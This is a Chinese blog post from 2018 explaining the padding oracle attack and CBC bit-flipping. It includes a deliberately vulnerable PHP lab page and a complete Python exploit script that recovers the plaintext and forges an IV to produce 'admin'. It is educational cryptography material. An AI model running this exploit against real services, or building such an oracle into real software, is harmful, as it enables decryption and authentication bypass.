PaddingOracleAttack原理记录

里面就是一些基本原理以及个人理解

Padding Oracle Attack

起因是整理CTF题目时,发现了一道题,所使用的知识点是padding oracle attack,这个攻击以前就听说过,只是还没有学习过,便想借此机会学习一番。奈何readme文档写的太过简单,而其中所给出的脚本使用之后也并不能得到flag。没有办法,只能花费了两天时间从网上搜找相关资料,慢慢研究学习,完善脚本与writeup。

下面步入正题

一、基础知识

故名思义,Padding Oracle Attack背后的关键性概念便是加/解密时的填充(Padding)。明文信息可以是任意长度,但是块状加密算法需要所有的信息都由一定数量的数据块组成。为了满足这样的需求,便需要对明文进行填充,这样便可以将它分割为完整的数据块。

CBC密码分组模式

我们来看一下CBC(密码分组链接)模式。在CBC模式中,每个明文块(PlainText)先与前一个密文块(CipherText)进行异或,再进行加密(使用key)。在这种方法中,每个密文块都依赖于前面的明文块。同时,为了保证每条消息的唯一性,在第一个块中需要使用初始化向量(IV)进行异或。最后将这n块密文连接起来。
CBC加密

CBC的解密方法则反了过来。先将密文进行解密,然后与前一个密文块进行异或(第一个用IV),得到对应分组的明文。最后再将这n块明文连接起来。
CBC解密

填充规则

加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。

PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。

下面是不同算法所对应的block长度
block长度

下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(在这里,我们假设每个数据块为8字节长)

过程巩固

我们来巩固一遍正常情况下的加密和解密过程

加密:先根据所使用的加密算法判断block的大小(一般是8或16字节),根据block的大小来进行分组,最后一个block使用PKCS#5标准填充,这样得到每一块PlainText。然后使用前一块明文(第一个需使用IV)异或,异或后,再使用key和规定的加密算法进行加密,加密完成后,得到CipherText,最后将所有的CipherText连接起来,便是返回的密文了。

解密:根据加密算法得到block的大小,然后进行分组解密得到中间值,中间值与前一组密文(第一个使用IV)异或,异或后得到PlainText,将所有的PlainText连接起来,便是返回的明文了。

二、Padding Oracle Attack攻击原理

Padding Oracle Attack是针对CBC链接模式的攻击,和具体的加密算法无关,换句话说,这种攻击方式不是对加密算法的攻击,而是针对算法的使用不当进行的攻击。

攻击者可以根据返回的密文长度来猜测block大小。例:如果返回的长度是24字节,那么block一定不会是16字节,而应该是8字节;如果知晓了加密算法,可以根据上面的对照表来得到block的大小

攻击前提:

  • 攻击者能得到IV和CipherText,并能提交CipherText
  • 攻击者能够触发密文的解密过程,且服务器根据解密结果不同会返回不同的信息
  • 攻击者若能提交IV,便可篡改明文。

服务器的处理与返回

假设我们向服务器提交了正确的密码,我们的密码在经过CBC模式加密后传给了服务器,这时服务器会对我们传来的信息尝试解密,如果可以正常解密会返回一个值表示正确,如果不能正常解密则会返回错误。而事实上,判断提交的密文能不能正常解密,第一步就是判断密文最后一组的填充值是否正确,也就是观察最后一组解密得到的结果的最后几位是否符合规范,如果错误将直接返回错误,如果正确,再将解密后的结果与服务器存储的结果比对,判断是不是正确的明文。也就是说服务器一共可能有三种判断结果:

  • 密文不能正常解密(填充错误);
  • 密文可以正常解密但解密结果不对(填充正确,但得到的明文错误);
  • 密文可以正常解密并且解密结果比对正确(填充正确,明文正确);

其中第一种情况与第二三种情况的返回值一定不一样,这就给了我们可乘之机——我们可以利用服务器的返回值判断我们提交的内容能不能正常解密,即判断我们提交的最后一组密文的填充是否符合规范。下面给出了正确与错误的图示

正确

错误

再看一次CBC的解密过程:将CipherText使用key和解密算法解密得到中间值,将中间值与前一组密文(或IV)进行异或得到PlainText。而攻击的前提就是服务器提供CipherText和IV,所以只要我们知道了中间值,便可知道PlainText。这就是Padding Oracle Attack的核心——找出正确的中间值

如何才能找出正确的中间值

前面我们说过服务器会根据我们提交的CipherText的解密结果返回不同的三种情况,我们就依据这三种情况(实际上是两种,填充正确和填充不正确)来得到中间值。

我们还是来看上图的例子,假设只有一个block,中间值是不变的,如果我们将IV修改为全0,返回的明文则与中间值完全一样,但这样基本不可能填充正确。我们需要的是最后一位填充0x01,那么经过遍历最后一个字节后发现当最后一字节为0x3C时,页面返回填充正确的结果,即 中间值^0x3C=0x01,中间值=0x01^0x3C=0x3D。

经过上面的步骤便能得到最后一个字节的中间值。得到之后,需要得到倒数第二个字节的中间值,此时将IV的最后一字节变为0x3D^0x02=0x3F,IV的倒数第二个字节进行遍历,发现当倒数第二个字节为0x24时,页面返回填充正确的结果,即 中间值=0x02^0x24=0x26……以此类推,得到完整的中间值。最后将中间值与IV异或,便可得到明文。

上面说的是最简单的情况:只有一个block。当有多个block时,我们从最后一个block入手(因为该算法要先经过key解密得到中间值,而中间值在同一个CipherText下是一定不变的,后面的PlainText受前一个CipherText影响,而前面的PlainText与后面无关,所以需要从后往前走)。单独截取最后一个block,前面一个block填充全0并遍历得到中间值(若有长度限制,必须与正常密文长度相同,则只将到倒数第二个block修改即可);得到最后一个block的中间值后,将最后一个block舍弃,截取倒数第二个block,前面一个block填充全0并遍历得到中间值(若有长度限制,将倒数第二个block与最后一个block互换位置,互换后的倒数第二个block填充全0并遍历得到中间值);以此类推,得到所有中间值

我们得到中间值之后,便可得到明文。如果我们还可以控制IV,那么将IV与原明文异或后,再与想得到的明文异或得到新的IV,然后将新的IV提交,便可得到想要的明文。

1
2
3
4
5
6
7
原理:
异或是相同为0,不同为1;0与x异或得到x;
IV^中间值=PlainText
IV^中间值^PlainText^PlainTextNew=PlainText^PlainText^PlainTextNew=PlainTextNew
其中中间值不变,将IV^PlainText^PlainTextNew后提交即可。
这其实就是CBC字节翻转攻击了,具体的原理可以参考其他文章

三、实例

为了更好的理解和利用Padding Oracle Attack,我自己编写了一个简单的PHP页面。

主要功能:

页面显示加密算法、IV、CipherText,并提供两个提交表单;第一个表单根据提交的cipher返回解密成功或失败;第二个表单要求提交正确的PlainText,然后通过修改iv让PlainText的值变为admin。

流程是先判断提交的plainText是否正确,然后将提交的iv和cipher进行解密,如果解密后得到admin则返回PlainText Changed Success!

页面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
define("SECRET_KEY", "thkeyw"); # 加密密钥
define("METHOD", "aes-128-cbc"); # 加密算法
echo "method:",METHOD."<br>";
function get_random_token(){ # 生成随机数
$random_token='';
for($i=0;$i<16;$i++){
$random_token.=chr(rand(1,255));
}
return $random_token;
}
$iv=get_random_token();
$plainText="user";
$cipher=openssl_encrypt($plainText,METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv);
echo "iv:",base64_encode($iv)."<br>";
echo "cipher:",base64_encode($cipher)."<br>";
?>
<div>
<p>Try to use Padding Oracle Attack to get plainText first. Put the IV in front of the cipher</p>
<form action="" method="POST">
<p>cipher:<input type="text" name="cipher"></p>
<p><input type="submit"></p>
</form>
</div>
<div>
<p>Second,give me PlainText and new iv,to make new PlainText to be admin</p>
<form action="" method="POST">
<p>iv:<input type="text" name="iv"></p>
<p>cipher:<input type="text" name="cipher"></p>
<p>plain:<input type="text" name="plain"></p>
<p><input type="submit"></p>
</form>
</div>
<?php
if(isset($_POST['iv'])&&isset($_POST['plain'])&&isset($_POST['cipher'])){ # 第二个提交表单,测试CBC字节翻转攻击
if($_POST['plain']===$plainText){
$iv_new=base64_decode($_POST['iv']);
$plainText_new=openssl_decrypt(base64_decode($_POST['cipher']),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv_new);
if($plainText_new==='admin'){
echo "PlainText Changed Success!";
}else{
die('Let plainText be admin, please!');
}
}else{
die('plainText error');
}
}elseif(isset($_POST['cipher'])){ # 第一个提交表单,测试Padding Oracle Attack
$cipher_post=base64_decode($_POST['cipher']);
$ivv=substr($cipher_post,0,16);
$cipherr=substr($cipher_post,16);
$p=openssl_decrypt($cipherr,METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$ivv);
if($p!=""){
echo "crypt success!<br>";
}else{
echo "crypt failed!<br>";
}
}

页面显示效果

使用的加密模式是aes-128-cbc,而aes的block大小是16字节,这一点与上面原理部分不同,需要稍稍注意一下。

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#-*- coding:utf-8 -*-
import requests,urllib,base64,re
url='http://192.168.12.199/test.php'
s=requests.session()
# 用来进行发包,返回页面结果
def inject(var):
data={'cipher':var}
# 必须要用requests,不能用s,因为如果在这里用s,后面循环中会使用,最后会存储一个在break时的值
# 而这个值是错误的,所以这里不能用requests.session。在这里坑了好久
result=requests.post(url,data=data)
return result
# 字符串异或函数
def xor(a,b):
ss=""
for i in xrange(len(a)):
ss+=chr(ord(a[i])^ord(b[i]))
return ss
# 使用正则匹配得到页面给出的iv和cipher
repo=s.get(url)
iv=re.compile("iv:(.*?)<br>").findall(repo.content)[0]
cipher=re.compile("cipher:(.*?)<br>").findall(repo.content)[0]
middle="" # 中间值
# 因16个字节为一组,字符最大到0xff,所以有如下循环
# 在进行大批量运算时,xrange比range性能要好
for i in xrange(1,17):
for j in xrange(0,256):
# 根据已经得到的中间值计算下次测试时对应位置的填充值
# 比如已经得到最后一位的中间值,那么计算倒数第二位中间值时,要根据最后一位中间值计算此时最后一位对应的填充值,让明文为0x02
padding=xor(middle,chr(i)*(i-1))
# 前面是0,跟着一字节测试值,跟着已得到中间值所对应的填充值,最后是正常的密文
ever_c=chr(0)*(16-i)+chr(j)+padding+base64.b64decode(cipher)
# 判断当前payload是否正常,有可能出现特殊情况
# 比如中间值的倒数第二位本来就是0x02,中间值的倒数第二位计算的结果会先得到0x02,再得到0x01,这种情况下会出错
if len(ever_c)<32:
exit("wrong, please retry")
print ever_c.encode('hex')
ever_result=inject(base64.b64encode(chr(0)*16+ever_c))
# 判断解密是否正常,正常则得到该位中间值
if "crypt failed" not in ever_result.content:
middle=chr(j^i)+middle
break
plain=xor(middle,base64.b64decode(iv)) # 明文(包括填充)
print "middle:",middle.encode('hex') # 中间值,十六进制方便显示
print "plain:",plain
print "iv:",iv
print "cipher:",cipher
plainText_new='admin'+chr(11)*11 # 想要得到的明文
iv_new=xor(base64.b64decode(iv),xor(plain,plainText_new)) # 新的iv,提交后便可得到admin
print "iv_new:",base64.b64encode(iv_new)
data={'plain':'user','iv':base64.b64encode(iv_new),'cipher':cipher}
print requests.post(url,data=data).content

脚本运行结果:

参考资料

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
https://www.freebuf.com/articles/web/15504.html
https://www.freebuf.com/articles/database/151167.html
https://www.csdn.net/article/1970-01-01/289154

本文标题:PaddingOracleAttack原理记录

文章作者:暮沉沉

发布时间:2018年11月10日 - 15:11

最后更新:2018年11月10日 - 16:11

原始链接:http://maplege.github.io/2018/11/10/padding-oracle-attack/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------本文结束感谢您的阅读-------------